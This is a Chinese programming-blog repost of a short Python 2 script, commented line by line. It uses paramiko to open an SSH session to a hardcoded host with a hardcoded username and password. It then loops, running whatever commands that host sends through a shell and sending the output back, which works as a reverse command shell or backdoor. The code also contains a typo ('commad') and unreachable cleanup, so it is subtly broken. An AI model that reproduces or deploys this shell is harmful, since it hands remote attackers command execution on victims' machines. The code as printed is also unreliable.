码迷,mamicode.com
首页 > 编程语言 > 详细

python

时间:2016-06-08 06:58:31      阅读:181      评论:0      收藏:0      [点我收藏+]

标签:password   command   发送信息   python   import   

import threading#引入 线程包
import paramiko#引入ssh 包
import subprocess#引入 子进程

def ssh_command(ip,user,passwd,command):#运行 参数 ip,user ,passwd,command
    client = paramiko.SSHClient()#创建 连接 对象
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())# 设置自动
    client.connect(ip,username=user,password=passwd)#连接开始
    ssh_session = client.get_transport().open_session()#进行了 open 处理
    if ssh_session.active:# 如果正确了
        ssh_session.send(commad)#发送信息
        print ssh_session.recv(1024)# 接收信息
        while True:
            command = ssh_session.recv(1024)#接收信息
            try:
                cmd_output = subprocess.check_output(command,shell=True)#子节点运行
                ssh_session.send(cmd_output)#发送数据
            except Exception,e:
                ssh_session.send(str(e))#报错
        client.close()#关闭
    return
ssh_command(‘192.168.100.130‘,‘justin‘,‘lovesthepython‘,‘ClientConnect‘)


本文出自 “专注php” 博客,请务必保留此出处http://jingshanls.blog.51cto.com/3357095/1787127

python

标签:password   command   发送信息   python   import   

原文地址:http://jingshanls.blog.51cto.com/3357095/1787127

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!